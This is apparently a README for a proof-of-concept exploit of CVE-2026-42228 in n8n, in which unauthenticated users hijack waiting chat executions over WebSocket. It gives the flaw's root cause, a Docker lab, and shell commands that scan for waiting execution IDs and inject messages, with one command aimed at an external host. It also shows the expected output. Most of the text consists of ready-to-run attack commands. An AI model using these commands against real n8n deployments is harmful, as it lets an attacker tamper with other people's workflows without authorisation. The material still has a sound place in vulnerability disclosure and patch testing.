
Proof-of-concept exploit for CVE-2026-42228, an unauthenticated chat execution hijacking vulnerability in n8n, with automated scanning and attack scripts.
CVE: CVE-2026-42228
Severity: High
Affected: n8n < 1.123.32
Fixed in: n8n 1.123.32 / 2.17.4 / 2.18.1
chat-service.ts :: startSession() accepts an executionId from the WebSocket
query string and only checks that the execution exists in the database. It never
verifies the caller is authorised to access that execution.
An unauthenticated attacker who knows (or can enumerate) a valid numeric execution ID for an execution in the waiting state can:
/chat WebSocket without credentials.Pre-requisites:
waiting state.chmod +x exploit.sh
./exploit.sh setup
This pulls n8nio/n8n:1.123.22 (last affected release), builds the attacker
image, and starts the vulnerable target at http://localhost:5678.
http://localhost:5678 and complete the setup wizard (any credentials).Open the public Chat URL shown in the Chat Trigger node and send a message. The execution will enter the waiting state, paused for the next chat reply.
./exploit.sh scan
# or specify a range:
./exploit.sh scan 1 500
Expected output when a vulnerable execution is found:
[+] WAITING execution found! exec_id=7
Server said: 'n8n|continue'
Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
[!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'
./exploit.sh attack 7
# or with a custom payload:
./exploit.sh attack 7 "custom injected message"
Back in the n8n editor, the workflow resumes with the attacker's injected message instead of the legitimate user's input.
# Build the attacker image
docker build -t n8n-chat-hijack-poc .
# Scan (attaches to the shared lab network)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--start-id 1 --end-id 200
# Attack a specific execution
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--exec-id 7 --inject "PWNED"
# Against an external target (no network flag needed)
docker run --rm n8n-chat-hijack-poc \
--target https://n8n.example.com \
--exec-id 42 --inject "PWNED"
./exploit.sh clean
Stops containers and removes volumes (including the SQLite database).
| File | Description |
|---|---|
poc_GHSA-f77h-j2v7-g6mw.py | Standalone Python PoC |
Dockerfile | Attacker container image |
docker-compose.yml | Full lab: vulnerable n8n + attacker |
exploit.sh | Helper script for common operations |